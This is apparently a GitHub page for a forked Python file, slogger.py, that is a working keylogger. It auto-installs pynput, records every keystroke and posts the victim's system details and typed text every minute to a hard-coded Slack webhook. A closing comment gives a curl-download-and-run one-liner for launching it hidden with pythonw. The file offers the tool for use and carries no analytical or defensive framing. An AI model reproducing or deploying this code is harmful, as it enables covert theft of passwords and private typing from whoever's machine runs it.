forked from viswanathanTJ/python
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathslogger.py
66 lines (52 loc) · 1.72 KB
/
slogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from threading import Timer
import requests
import json
import platform
import pip
def import_or_install(package):
try:
__import__(package)
except ImportError:
pip.main(['install', package])
import_or_install('pynput')
from pynput.keyboard import Listener
WEBHOOK = 'https://hooks.slack.com/services/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'
TIME_INTERVAL = 60
class Keylogger:
def __init__(self, webhook_url, interval=60):
self.interval = interval
self.webhook = webhook_url
self.log = ""
my_system = platform.uname()
info = ''
info += f"System: {my_system.system}\n"
info += f"Node Name: {my_system.node}\n"
info += f"Release: {my_system.release}\n"
info += f"Version: {my_system.version}\n"
info += f"Machine: {my_system.machine}\n"
info += f"Processor: {my_system.processor}\n"
payload = {"text": info}
requests.post(self.webhook, json.dumps(payload))
def _report(self):
if self.log != '':
payload = {"text": self.log}
requests.post(self.webhook, json.dumps(payload))
self.log = ''
Timer(self.interval, self._report).start()
def _on_key_press(self, key):
k = str(key)
if len(k) > 4:
if 'Key.space' in k:
self.log += ' '
else:
self.log += ' '+str(key)+' '
else:
self.log += k[1]
def run(self):
self._report()
with Listener(self._on_key_press) as t:
t.join()
if __name__ == '__main__':
Keylogger(WEBHOOK, TIME_INTERVAL).run()
# Key.(?!backspace\b)\b\w+
# curl -o logger.pyw URL; pip install pynput; pythonw logger.pyw